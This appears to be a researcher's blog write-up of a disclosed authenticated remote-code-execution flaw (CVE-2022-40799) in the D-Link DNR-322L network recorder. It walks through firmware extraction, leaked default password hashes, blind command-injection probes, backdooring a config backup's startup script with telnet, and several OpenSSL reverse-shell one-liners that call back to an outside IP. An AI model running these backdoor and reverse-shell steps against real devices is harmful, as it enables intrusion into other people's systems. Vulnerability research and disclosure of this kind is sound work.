häcks und so

27. Sep 2022 - Authenticated RCE via Config Backups

D-Link DNR-322L - CVE-2022-40799

Together with the camera from my D-Link DCS-5222L post, I bought a D-Link DNR-322L. This is a network recorder/NAS for D-Link cameras. During the break I took from pwning the camera, I looked at this device instead and rather quickly found a way to run code. As always I try to document what I did step by step rather than just show you the exploit.

CVE details can be found here↗ and the advisory from D-Link can be found here↗. For the exploit code check out my repository↗.

 Unencrypted Firmware

Since the firmware was available, I took a look at it first. The firmware was downloaded from here↗. Upon inspection, it looked like the firmware was not encrypted:

[~/dlink]$ binwalk DLINK_DNR-322.2.40b03

128           0x80            uImage header, header size: 64 bytes, header CRC: 0x8F82F818, created: 2014-06-10 07:37:08, image size: 2551516 bytes, Data Address: 0x8000, Entry Point: 0x8000, data CRC: 0xE1D3D889, OS: Linux, CPU: ARM, image type: OS Kernel Image, 
compression type: none, image name: "Linux-"
192           0xC0            Linux kernel ARM boot executable zImage (little-endian)
13436         0x347C          gzip compressed data, maximum compression, from Unix, last modified: 2014-06-10 07:37:08
2551708       0x26EF9C        uImage header, header size: 64 bytes, header CRC: 0x5BBECF3C, created: 2014-06-10 08:29:25, image size: 1584662 bytes, Data Address: 0xE00000, Entry Point: 0xE00000, data CRC: 0x49F05B65, OS: Linux, CPU: ARM, image type: RAMDisk Image, compression type: gzip, image name: "Ramdisk"
2551772       0x26EFDC        gzip compressed data, has original file name: "aa", from Unix, last modified: 2014-06-10 08:29:24
4138484       0x3F25F4        CramFS filesystem, little endian, size: 47960064, version 2, sorted_dirs, CRC 0x81CC9040, edition 0, 21230 blocks, 2419 files
52098548      0x31AF5F4       gzip compressed data, from Unix, last modified: 2015-09-29 03:23:39
52107852      0x31B1A4C       CramFS filesystem, little endian, size: 6037504, version 2, sorted_dirs, CRC 0x38E89EFD, edition 0, 4219 blocks, 16 files

The first CramFS↗ filesystem contained the main OS:

[~/dlink/extracted/cramfs-root]$ ls -la
total 484
drwxr-xr-x 15 dev dev   4096 Aug 23 22:19 .
drwxrwxr-x  4 dev dev   4096 Aug 23 22:19 ..
drwxr-xr-x  2 dev dev   4096 Aug 23 22:19 bin
drwxr-xr-x  3 dev dev   4096 Aug 23 22:19 cgi
drwxr-xr-x  2 dev dev   4096 Aug 23 22:19 common
drwxr-xr-x  3 dev dev   4096 Aug 23 22:19 default
drwxr-xr-x  2 dev dev   4096 Aug 23 22:19 driver
drwxr-xr-x  2 dev dev   4096 Aug 23 22:19 files
-rw-r--r--  1 dev dev 434052 Jan  1  1970 JFFS2_config.img
drwxr-xr-x  2 dev dev   4096 Aug 23 22:19 language
drwxr-xr-x  2 dev dev   4096 Aug 23 22:19 lib
drwxr-xr-x  2 dev dev   4096 Aug 23 22:19 mydlink
drwxr-xr-x  3 dev dev   4096 Aug 23 22:19 sbin
drwxr-xr-x  2 dev dev   4096 Aug 23 22:19 script
drwxr-xr-x  6 dev dev   4096 Aug 23 22:19 web
drwxr-xr-x  2 dev dev   4096 Aug 23 22:19 zoneinfo

Since there was no /etc/passwd or /etc/shadow file I found the hashes with find . -type f -name "*shadow*" within the file default/shadow.

[~/dlink/extracted/cramfs-root]$ cat default/shadow
admin:$1$$qRPK7m23GJusamGpoGLby/:0:0:99999:7:::             # empty
nobody:pACwI1fCXYNw6:0:0:99999:7:::                         # empty
squeezecenter:$1$$o7vIitnZu4MHlaR5S90M/1:15460:0:99999:7::: # v4523086
root:$1$$qRPK7m23GJusamGpoGLby/:14746:0:99999:7:::          # empty

I got the password for the user squeezecenter from Zenofex↗.

The second CramFS filesystem was a so-called “device pack”. This is a sort of driver package for cameras. Whenever there would be a new camera, D-Link just had to ship a device pack update instead of a new firmware. This is command practice for surveillance gear and not exclusive to D-Link.

[~/dlink/extracted/cramfs-root-0]$ ls -la
total 16904
drwxr-xr-x 2 dev dev     4096 Aug 23 22:19 .
drwxrwxr-x 4 dev dev     4096 Aug 23 22:28 ..
-rwxr-xr-x 1 dev dev   653936 Jan  1  1970
-rwxr-xr-x 1 dev dev   785588 Jan  1  1970        
-rwxr-xr-x 1 dev dev   350964 Jan  1  1970
-rwxr-xr-x 1 dev dev   515496 Jan  1  1970       
-rwxr-xr-x 1 dev dev    19316 Jan  1  1970 autodect2.js     
-rwxr-xr-x 1 dev dev    19316 Jan  1  1970 autodect.js      
-rwxr-xr-x 1 dev dev       89 Jan  1  1970 DevicePack.conf  
-rwxr-xr-x 1 dev dev   799040 Jan  1  1970
-rwxr-xr-x 1 dev dev   465528 Jan  1  1970  
-rwxr-xr-x 1 dev dev   406908 Jan  1  1970
-rwxr-xr-x 1 dev dev   389572 Jan  1  1970
-rwxr-xr-x 1 dev dev    21596 Jan  1  1970 
-rwxr-xr-x 1 dev dev   817920 Jan  1  1970 
-rwxr-xr-x 1 dev dev 11004476 Jan  1  1970
-rwxr-xr-x 1 dev dev  1023776 Jan  1  1970   

[~/dlink/extracted/cramfs-root-0]$ cat DevicePack.conf 

Since the device arrived after just a few days, I wanted to play with it first rather than hunt for exploits in the firmware.

 Testing for Code Injection

When testing a device I tend to look at system/admin features first. A common exploit is command injection in various user input fields.

If the device authenticates web credentials based on Linux users of the system, creating a new user via “Maintenance/Users/Add” would execute useradd. So I tried command injection in the username field:

myuserAAAAidAAAAidAAAAid *10,*20,*30...

To test for blind execution I tried:

# sudo nc -lnvp 80
curl http://MYIP
wget http://MYIP
nc MYIP 80

# sudo tcpdump -i ethX icmp
ping -c 1 MYIP

However, I had no luck with that. There were no other obvious user input fields visible to me that could directly be routed to an injectable Linux command.

After playing with the device and testing its functions I came across the “Backup Config” function under “Maintenance/System/Configuration Settings”.

Upon inspecting the downloaded file with file backup I saw that it was just a gzip compressed tarball (.tar.gz). I simply unpacked it with tar:

[~/dlink]$ file backup 
backup: gzip compressed data, last modified: Thu Aug 25 21:49:25 2022, max compression, from Unix, original size modulo 2^32 1493504

[~/dlink]$ tar -xzf backup

[~/dlink/backup]$ cd backup; ls -la
total 48
drwxr-xr-x. 1 me me  226 25. Aug 2022  .
drwxr-xr-x. 1 me me   46 25. Aug 21:52 ..
drwxr-xr-x. 1 me me   16 25. Aug 2022  a
drwxr-xr-x. 1 me me    0 25. Aug 2022  b
-rwxr-xr-x. 1 me me 6411 25. Aug 2022  config.xml
-rw-r--r--. 1 me me    0 25. Aug 2022  DNR-322L
-rwxr-xr-x. 1 me me   32 25. Aug 2022  group
-rwxr-xr-x. 1 me me   74 25. Aug 2022  hosts
drwxr-xr-x. 1 me me  724 25. Aug 2022  nvr
-rwxr-xr-x. 1 me me  314 25. Aug 2022  passwd
-rwxr-xr-x. 1 me me   44 25. Aug 2022  passwd.webdav
drwxr-xr-x. 1 me me    0 25. Aug 2022  quota
-rwxr-xr-x. 1 me me  956 25. Aug 2022
-rwxr-xr-x. 1 me me   12 25. Aug 2022  resolv.conf
-rwxr-xr-x. 1 me me  195 25. Aug 2022  shadow
-rw-r--r--. 1 me me 1325 25. Aug 2022  smb.conf
-rw-------. 1 me me  207 25. Aug 2022  smbpasswd
-rwxr-xr-x. 1 me me  285 25. Aug 2022  sms_conf.xml

Inside the extracted folder were some configuration files as well as some system files like the before-used shadow. But what caught my attention was This looked like a startup script into which I could write OS-level commands that would get executed at boot. To get an initial shell on the device I used the utelnetd binary that I found inside the firmware under /bin. I appended utelnetd -d at the end of the script, making sure not to change the encoding or line endings, and repacked the tar.gz file with tar -czf backup.tar.gz backup.

Upon uploading it via the same panel on the web interface, the device rebooted and after about 2min I was back at the web login screen. A quick portscan confirmed that the telnet backdoor worked and I was able to log in via telnet with the same credentials as on the web interface.

[~/dlink]$ rustscan

[~/dlink]$ telnet   
Connected to
Escape character is '^]'.
Password of admin: 

BusyBox v1.11.2 (2012-07-09 19:28:56 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root)

 Reverse Shell with OpenSSL

Via the telnet shell, I enumerated the device for possible reverse shell options. The easy route here would be to host a pre-compiled ARM *cat binary, download it, and execute it. But in true LOL↗ fashion I wanted to do it without external tools.

The only binary I found was OpenSSL↗. The basic OpenSSL reverse shell needs an attacker to generate a key with a certificate and then set up a listener: On the target, we simply connect to this listener with the following command:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:PORT > /tmp/s; rm /tmp/s

 First In First Out

There is one key element inside this command and that would be mkfifo /tmp/s. The command mkfifo created a so-called named pipe file. A very simple explanation would be that such a file is used for process-to-process communication. If you know what Unix sockets are, sort of that direction. I’m no were near an expert to explain this in more detail but just know, if you would create the file with touch or any text editor, the reverse shell will connect but you will not be able to execute commands.

The reason I had to explain this was, that there was no mkfifo command on my rather limited D-Link device. And I did all of the above to figure out that you especially need a named pipe file. I created it with touch, some text editor, and even tried to download a file that I created on another Linux machine. None of that worked. Upon reading into named pipes I quickly realized that I needed such a file rather than a “normal” one.

Knowing that, I quickly found the alternative mknod which was actually included in my busybox binary. The command for connecting to the listener was

rm -f /tmp/s; mknod /tmp/s p; cat /tmp/s | /bin/ash -i 2>&1 | openssl s_client -quiet -connect IP:PORT >/tmp/s

 Please Continue

This worked and gave me a functioning reverse shell. But I noticed that the session on the shell would not “continue”, as it would wait at the command from above. This was rather bad since this command will go into a startup script and the camera needs to boot normally even with the reverse shell code injected. I tried moving it in the background with & at the end but that did not work with my ash shell. A few searches and commands later I found this↗ stackoverflow answer which led to the following working command:

        rm -f /tmp/lol
        mknod /tmp/lol p
        cat /tmp/lol |
            /bin/ash -i 2>&1 |
                openssl s_client -quiet -connect IP:PORT >/tmp/lol &
    ) &
(( rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect IP:PORT >/tmp/lol & ) & )

 Exploit Script

 Authentication Flow

The simplified authentication flow for the device is as follows:

POST /cgi-bin/login_mgr.cgi

cmd=login&username=<USER>&pwd=<PASSWD BASE64URLSAFE>
POST /cgi-bin/login_mgr.cgi
Cookies: {"Username":<USERNAME>, "PASSWORD":<PASSWD> }


After viewing this flow inside Burp↗ I thought that I could just use the plaintext credentials inside cookies to interact with the device. But this would always result in a 301 to “/”. The only reason I ran into this problem was simply that I used two devices. The Windows PC which ran Burp had a different IP than the Linux VM. After a bit of trial and error, I figured out that you need to execute those two commands for your IP to get whitelisted. Hitting the endpoint on a different device will log you in on the device but will not allow you to interact with the device from your current IP even if there is no other session ID or cookie involved in the request. Quick insert: This behavior changed with a later firmware, more at the end.

 Handling tar Files

I’ve never worked with tar.gz files inside Python before and could not find good examples when it came to building one. The device was very picky when it came to the folder name but not when it came to the archive name. The whole process was very time-consuming since every “corrupted” backup would result in a soft-bricked device that needed to be factory reset via a pin, then set up with users and the IP again from scratch.

The other problem that I had was with uploading the tar.gz file via a POST request. I could not find any example online for uploading data, just for downloading it. My first attempts always used for reading the malicious backup file. This always resulted in somewhat decoded data to be sent via the request which did not at all look like the upload of the same file inside Burp. After a bit of trying it turns out that a normal open() is enough. But I also needed three tries to get the encoding of latin-1 right.

But after getting the encoding right and adding the 10s sleep at the beginning of the reverse shell, the exploit script worked like a charm.

Reverse Shell Success

 A Wild Version Appears

My heart probably skipped a few beats when I got the first response from D-Link after reporting this vulnerability. The contact responded with a direct link to a newer firmware than I had installed. The link he sent me was from the official download site that is listed on the product page. The reason I missed that at the beginning is the “404 Not Found” error when accessing the site↗. I just assumed they forgot to update the link and moved on. It turns out that my good browser forced HTTPS traffic and the directory listing only works with HTTP while file downloads work with HTTPS.

At this point, I just hoped that the vulnerability would still exist in 2.60B13 and 2.60B15. The Python script I made gave a login error the first time I ran it against the new firmware. After quickly reviewing the traffic inside Burp I found that they now implemented a SESSIONID cookie rather than just relying on the plain text username + password. (The password is still plain text inside the cookies) The quick fix for this was to switch from single requests to sessions↗. Such a session stores all the cookies inside an object for ease of use. After that, the script ran fine again.

There is one known bug with those newer versions, however. When the device enters its sleep mode only the first write to disk wakes it up again. This process takes longer than the file upload of the backdoored firmware. If you run the python script with the device in sleep mode the script will timeout and fail during the upload. To fix this just run the script a second time. I did not have enough motivation to look into a way of waking it up otherwise. This did never occur to me on the older firmware revisions.

There are just a handful of devices visible via Shodan↗. They could also be revision B models (same Header) which have a newer firmware and thus could not be vulnerable.

Shodan Search Results


The dates are taken from my timezone (Europe/Zuerich)